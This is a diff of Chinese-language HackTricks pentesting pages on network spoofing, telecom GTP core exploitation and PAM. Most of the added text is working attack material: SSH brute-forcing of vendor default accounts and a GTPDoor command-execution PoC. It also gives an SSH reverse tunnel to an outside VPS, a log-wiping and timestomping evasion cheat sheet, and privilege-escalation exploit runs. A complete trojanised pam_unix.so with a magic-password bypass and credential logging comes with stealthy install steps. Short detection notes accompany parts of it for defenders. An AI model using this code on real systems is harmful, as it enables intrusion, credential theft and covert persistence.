[**Coly**](https://code.google.com/p/coly/) 具有拦截 EIGRP (增强型内部网关路由协议) 广播的能力。它还允许注入数据包,可用于更改路由配置。
### OSPF
在开放最短路径优先OSPF协议中,**通常使用 MD5 身份验证来确保路由器之间的安全通信**。然而,这一安全措施可以通过像 Loki 和 John the Ripper 这样的工具被破坏。这些工具能够捕获和破解 MD5 哈希,暴露身份验证密钥。一旦获得该密钥,就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥,分别使用 _Injection__Connection_ 选项卡。
在开放最短路径优先 (OSPF) 协议中,**通常使用 MD5 身份验证来确保路由器之间的安全通信**。然而,这一安全措施可能会被像 Loki 和 John the Ripper 这样的工具破坏。这些工具能够捕获和破解 MD5 哈希,暴露身份验证密钥。一旦获得该密钥,就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥,分别使用 _Injection__Connection_ 选项卡。
- **捕获和破解 MD5 哈希:** 使用 Loki 和 John the Ripper 等工具。
- **配置路由参数:** 通过 _Injection_ 选项卡进行。
- **设置被破坏的密钥:** 密钥在 _Connection_ 选项卡下配置。
### 其他通用工具资源
### 其他通用工具资源
- [**Above**](https://github.com/c4s73r/Above):扫描网络流量并查找漏洞的工具
- 您可以在[**这里**](https://github.com/Sab0tag3d/MITM-cheatsheet)找到一些**关于网络攻击的更多信息**。
- 您可以在 [**这里**](https://github.com/Sab0tag3d/MITM-cheatsheet) 找到一些 **关于网络攻击的更多信息**
## **欺骗**
@ -596,7 +596,7 @@ yersinia dhcp -attack 2 #More parameters are needed
### ICMPRedirect
ICMP重定向是指发送一个类型为1代码为5的ICMP数据包表示攻击者是到达某个IP的最佳方式。然后当受害者想要联系该IP时它将通过攻击者发送数据包。
ICMP Redirect 是发送一个类型为 1代码为 5 的 ICMP 数据包,表示攻击者是到达某个 IP 的最佳方式。然后,当受害者想要联系该 IP 时,它将通过攻击者发送数据包。
```bash
Ettercap
icmp_redirect
@ -635,14 +635,14 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
```
### [欺骗 LLMNR、NBT-NS 和 mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
在 DNS 查询失败时Microsoft 系统依赖于 **链路本地多播名称解析 (LLMNR)** 和 **NetBIOS 名称服务 (NBT-NS)** 进行本地主机解析。同样,**Apple Bonjour** 和 **Linux 零配置** 实现利用 **多播 DNS (mDNS)** 在网络中发现系统。由于这些协议的未经身份验证的特性及其通过 UDP 广播消息的操作,攻击者可以利用它们将用户重定向到恶意服务。
在 DNS 查询失败时Microsoft 系统依赖于 **Link-Local Multicast Name Resolution (LLMNR)** 和 **NetBIOS Name Service (NBT-NS)** 进行本地主机解析。同样,**Apple Bonjour** 和 **Linux 零配置** 实现利用 **Multicast DNS (mDNS)** 在网络中发现系统。由于这些协议的无认证特性及其通过 UDP 广播消息的操作,攻击者可以利用它们将用户重定向到恶意服务。
您可以使用 Responder 冒充主机搜索的服务,发送虚假响应。\
在这里阅读更多关于 [如何使用 Responder 冒充服务](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 的信息。
### [欺骗 WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
浏览器通常使用 **Web 代理自动发现 (WPAD) 协议自动获取代理设置**。这涉及从服务器获取配置详细信息,具体通过一个 URL例如 "http://wpad.example.org/wpad.dat"。客户端可以通过各种机制发现此服务器:
浏览器通常使用 **Web Proxy Auto-Discovery (WPAD) 协议自动获取代理设置**。这涉及从服务器获取配置细节,具体通过一个 URL例如 "http://wpad.example.org/wpad.dat"。客户端可以通过各种机制发现此服务器:
- 通过 **DHCP**,其中发现通过使用特殊代码 252 条目来促进。
- 通过 **DNS**,这涉及在本地域中搜索标记为 _wpad_ 的主机名。
@ -656,14 +656,14 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
### IPv6 邻居欺骗
此攻击与 ARP 欺骗非常相似,但在 IPv6 世界中。您可以让受害者认为 GW 的 IPv6 拥有攻击者的 MAC
此攻击与 ARP 欺骗非常相似,但在 IPv6 世界中。您可以让受害者认为网关的 IPv6 拥有攻击者的 MAC 地址
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
```
### IPv6 路由器广告欺骗/洪水攻击
些操作系统默认通过网络中发送的 RA 数据包配置网关。要将攻击者声明为 IPv6 路由器,可以使用:
些操作系统默认通过网络中发送的 RA 数据包配置网关。要将攻击者声明为 IPv6 路由器,可以使用:
```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
@ -671,7 +671,7 @@ fake_router6 wlan0 fe80::01/16
```
### IPv6 DHCP欺骗
默认情况下一些操作系统尝试通过网络中的DHCPv6数据包配置DNS。然后攻击者可以发送一个DHCPv6数据包将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。
默认情况下一些操作系统尝试通过网络中的DHCPv6数据包配置DNS。然后攻击者可以发送一个DHCPv6数据包将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。
```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
@ -684,7 +684,7 @@ mitm6
### sslStrip
基本上,这个攻击的作用是,在**用户**尝试**访问**一个**HTTP**页面并**重定向**到**HTTPS**版本时,**sslStrip**将**保持**与**客户端的HTTP连接**和与**服务器的HTTPS连接**,这样它就能够以**明文**式**嗅探**连接。
基本上,这个攻击的作用是,在**用户**尝试**访问**一个**HTTP**页面并**重定向**到**HTTPS**版本时,**sslStrip**将**保持**与**客户端的HTTP连接**和与**服务器的HTTPS连接**,这样它就能够以**明文**式**嗅探**连接。
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -693,16 +693,16 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
更多信息 [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。
更多信息 [这里](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。
### sslStrip+ 和 dns2proxy 绕过 HSTS
**sslStrip+ 和 dns2proxy** 与 **sslStrip** 的**区别**在于它们会**重定向**例如 _**www.facebook.com**_ **到** _**wwww.facebook.com**_(注意**多了一个**“**w**”),并将**该域名的地址设置为攻击者 IP**。这样,**客户端**将**连接**到 _**wwww.facebook.com**_ **(攻击者)**,但在后台**sslstrip+**将**保持**与 **www.facebook.com** 的**真实连接**通过 https。
**sslStrip+ 和 dns2proxy** 与 **sslStrip** 的**区别**在于它们会**重定向**例如 _**www.facebook.com**_ **到** _**wwww.facebook.com**_(注意**多出的**“**w**”),并将**该域名的地址设置为攻击者 IP**。这样,**客户端**将**连接**到 _**wwww.facebook.com**_ **(攻击者)**,但在后台**sslstrip+**将**保持**与 **www.facebook.com** 的**真实连接**通过 https。
此技术的**目标**是**避免 HSTS**,因为 _**wwww**.facebook.com_ **不会**被保存在**浏览器的缓存**中,因此浏览器会被欺骗以在 HTTP 中执行**facebook 认证**。\
此技术的**目标**是**避免 HSTS**,因为 _**wwww**.facebook.com_ **不会**被保存在**浏览器的缓存**中,因此浏览器会被欺骗以**HTTP**进行**facebook 认证**。\
请注意,为了执行此攻击,受害者必须最初尝试访问 [http://www.faceook.com](http://www.faceook.com),而不是 https。这可以通过修改 http 页面中的链接来实现。
更多信息 [here](https://www.bettercap.org/legacy/#hsts-bypass)[here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 和 [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。
更多信息 [这里](https://www.bettercap.org/legacy/#hsts-bypass)、[这里](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 和 [这里](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。
**sslStrip 或 sslStrip+ 不再有效。这是因为浏览器中预先保存了 HSTS 规则,因此即使用户第一次访问“重要”域名,他也会通过 HTTPS 访问。此外,请注意,预先保存的规则和其他生成的规则可以使用标志** [**`includeSubdomains`**](https://hstspreload.appspot.com) **,因此之前的 _**wwww.facebook.com**_ **示例将不再有效,因为** _**facebook.com**_ **使用 HSTS 和 `includeSubdomains`。**
@ -725,7 +725,7 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```
#### 使用证书进行监听
#### 使用证书监听
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```
@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
有时如果客户端检查CA是否有效您可以**提供由CA签署的其他主机名的证书**。\
另一个有趣的测试是**提供请求的主机名的自签名证书**。
其他测试内容包括尝试用一个有效的证书签署该证书但该证书并不是有效的CA。或者使用有效的公钥强制使用一种算法如Diffie-Hellman不需要用真实私钥解密的算法当客户端请求真实私钥的探测如哈希发送一个假探测并期望客户端不检查这个。
其他测试内容包括尝试用一个有效的证书签署该证书但该证书并不是有效的CA。或者使用有效的公钥强制使用一种算法如Diffie-Hellman不需要用真实私钥解密任何内容的算法),当客户端请求真实私钥的探测(如哈希)时,发送一个假探测,并期望客户端不检查这个。
## Bettercap
```bash
@ -774,7 +774,7 @@ ARP数据包用于发现网络中正在使用的IP。计算机必须为每个可
### **mDNS多播DNS**
Bettercap每隔X毫秒发送一个MDNS请求询问**\_services\_.dns-sd.\_udp.local**,看到此数据包的机器通常会回答此请求。然后,它只搜索响应“services”的机器。
Bettercap每隔X毫秒发送一个MDNS请求询问**\_services\_.dns-sd.\_udp.local**,看到此数据包的机器通常会回答此请求。然后,它只搜索回答“services”的机器。
**工具**
@ -784,7 +784,7 @@ Bettercap每隔X毫秒发送一个MDNS请求询问**\_services\_.dns-sd.\_udp
### **NBNSNetBios名称服务器**
Bettercap向端口137/UDP广播数据包询问名称“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。
Bettercap广播数据包到137/UDP端口询问名称“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。
### **SSDP简单服务发现协议**
@ -794,6 +794,12 @@ Bettercap广播SSDP数据包搜索各种服务UDP端口1900
Bettercap广播WSD数据包搜索服务UDP端口3702
### 电信/移动核心GTP利用
{{#ref}}
telecom-network-exploitation.md
{{#endref}}
## 参考文献
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
@ -801,6 +807,4 @@ Bettercap广播WSD数据包搜索服务UDP端口3702
- **实用物联网黑客攻击物联网的权威指南。作者Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,140 @@
# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> 移动核心协议GPRS隧道协议 - GTP通常穿越半信任的GRX/IPX漫游骨干网。由于它们在几乎没有身份验证的情况下通过普通的UDP传输**在电信边界内的任何立足点通常可以直接访问核心信令平面**。以下笔记收集了在野外观察到的针对SGSN/GGSN、PGW/SGW和其他EPC节点的攻击技巧。
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
一个令人惊讶的大量供应商网络元素出厂时带有硬编码的SSH/Telnet用户`root:admin``dbadmin:dbadmin``cacti:cacti``ftpuser:ftpuser`,……一个专用的字典显著提高了暴力破解的成功率:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
如果设备仅暴露管理 VRF请首先通过跳跃主机进行转发请参见下面的“SGSN Emu Tunnel”部分
### 1.2 GRX/IPX 内部的主机发现
大多数 GRX 运营商仍然允许 **ICMP echo** 在骨干网中传输。将 `masscan` 与内置的 `gtpv1` UDP 探测器结合使用,以快速映射 GTP-C 监听器:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. 枚举订阅者 `cordscan`
以下 Go 工具构造 **GTP-C 创建 PDP 上下文请求** 数据包并记录响应。每个回复揭示了当前为查询的 IMSI 提供服务的 **SGSN / MME**,有时还会显示订阅者访问的 PLMN。
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
关键标志:
- `--imsi` 目标用户的IMSI
- `--oper` 家乡 / HNI (MCC+MNC)
- `-w` 将原始数据包写入pcap
可以修补二进制文件中的重要常量以扩大扫描范围:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. 通过 GTP 执行代码 `GTPDoor`
`GTPDoor` 是一个小型 ELF 服务,**绑定 UDP 2123 并解析每个传入的 GTP-C 数据包**。当有效负载以预共享标签开头时其余部分会被解密AES-128-CBC并通过 `/bin/sh -c` 执行。标准输出/标准错误会在 **Echo Response** 消息中被外泄,以便不创建任何外部会话。
最小 PoC 数据包Python
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
检测:
* 任何向 SGSN IP 发送 **不平衡的回声请求** 的主机
* GTP 版本标志设置为 1而消息类型 = 1回声 偏离规范
## 4. 通过核心进行枢转
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` 提供一个 SGSN 模拟器,能够 **建立与真实 GGSN/PGW 的 PDP 上下文**。 一旦协商完成Linux 将接收到一个新的 `tun0` 接口,可以从漫游对等体访问。
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
通过适当的防火墙发夹隧道绕过仅信号的VLAN直接进入**数据平面**。
### 4.2 通过53端口的SSH反向隧道
DNS在漫游基础设施中几乎总是开放的。将内部SSH服务暴露给您的VPS监听:53然后从家中返回
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
检查 VPS 上是否启用了 `GatewayPorts yes`
## 5. 隐蔽通道
| 通道 | 传输 | 解码 | 备注 |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4 字节密钥 + 14 字节块 (XOR) | 纯被动监听器,无出站流量 |
| DNS `NoDepDNS` | UDP 53 | XOR (密钥 = `funnyAndHappy`) 编码在 A 记录八位组中 | 监视 `*.nodep` 子域 |
| GTP `GTPDoor` | UDP 2123 | 私有 IE 中的 AES-128-CBC blob | 与合法的 GTP-C 聊天混合 |
所有植入物都实现了看门狗,**timestomp** 它们的二进制文件,并在崩溃时重新生成。
## 6. 防御规避备忘单
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. 在遗留 NE 上的权限提升
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
清理提示:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. 工具箱
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` 在前面的部分中描述的自定义工具。
* `FScan` : 内部网络 TCP 扫描 (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS 恶意 WPAD
* `Microsocks` + `ProxyChains` : 轻量级 SOCKS5 代理
* `FRP` (≥0.37) : NAT 穿透 / 资产桥接
---
## 检测思路
1. **任何设备除了 SGSN/GGSN 建立 Create PDP Context Requests**
2. **接收来自内部 IP 的非标准端口 (53, 80, 443) 的 SSH 握手**
3. **频繁的 Echo 请求没有相应的 Echo 响应** 可能表明 GTPDoor 信标。
4. **高频率的 ICMP 回显应答流量,带有大的非零标识符/序列字段**
## 参考文献
- [Palo Alto Unit42 全球电信网络的渗透](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS 隧道协议 (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
### 基本信息
**PAM (Pluggable Authentication Modules)** 作为一种安全机制,**验证试图访问计算机服务的用户身份**,根据各种标准控制他们的访问。它类似于数字门卫,确保只有授权用户可以使用特定服务,同时可能限制他们的使用以防止系统过载。
**PAM (可插拔认证模块)** 作为一种安全机制,**验证试图访问计算机服务的用户身份**,根据各种标准控制他们的访问。它类似于数字门卫,确保只有授权用户可以使用特定服务,同时可能限制他们的使用以防止系统过载。
#### 配置文件
@ -29,7 +29,7 @@ session required /lib/security/pam_unix_session.so
这些领域或管理组包括 **auth**、**account**、**password** 和 **session**,每个领域负责身份验证和会话管理过程的不同方面:
- **Auth**:验证用户身份,通常通过提示输入密码。
- **Account**:处理账户验证,检查如组成员资格或时间限制等条件。
- **Account**:处理账户验证,检查如组成员资格或时间限制等条件。
- **Password**:管理密码更新,包括复杂性检查或字典攻击防护。
- **Session**:管理服务会话开始或结束时的操作,例如挂载目录或设置资源限制。
@ -44,10 +44,65 @@ session required /lib/security/pam_unix_session.so
#### 示例场景
在具有多个 auth 模块的设置中,过程遵循严格的顺序。如果 `pam_securetty` 模块发现登录终端未授权,则阻止 root 登录但由于其“required”状态所有模块仍会被处理。`pam_env` 设置环境变量,可能有助于用户体验。`pam_ldap``pam_unix` 模块协同工作以验证用户,`pam_unix` 尝试使用先前提供的密码,从而提高身份验证方法的效率和灵活性。
在具有多个身份验证模块的设置中,过程遵循严格的顺序。如果 `pam_securetty` 模块发现登录终端未授权,则阻止 root 登录但由于其“required”状态所有模块仍会被处理。`pam_env` 设置环境变量,可能有助于用户体验。`pam_ldap``pam_unix` 模块协同工作以验证用户,`pam_unix` 尝试使用先前提供的密码,从而提高身份验证方法的效率和灵活性。
### 参考文献
## 后门 PAM 钩住 `pam_unix.so`
在高价值的 Linux 环境中,一个经典的持久性技巧是 **用木马化的替代品替换合法的 PAM 库**。因为每次 SSH / 控制台登录最终都会调用 `pam_unix.so:pam_sm_authenticate()`,所以几行 C 代码就足以捕获凭据或实现 *magic* 密码绕过。
### 编译备忘单
```c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
```
编译和隐蔽替换:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
```
### OpSec Tips
1. **原子覆盖** 写入临时文件并 `mv` 到目标位置,以避免半写入的库锁定 SSH。
2. 日志文件放置如 `/usr/bin/.dbus.log` 与合法桌面工件混合。
3. 保持符号导出相同 (`pam_sm_setcred` 等),以避免 PAM 错误行为。
### Detection
* 比较 `pam_unix.so` 的 MD5/SHA256 与发行版包。
* 检查 `/lib/security/` 下的世界可写或不寻常的所有权。
* `auditd` 规则: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`
### References
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
{{#include ../../banners/hacktricks-training.md}}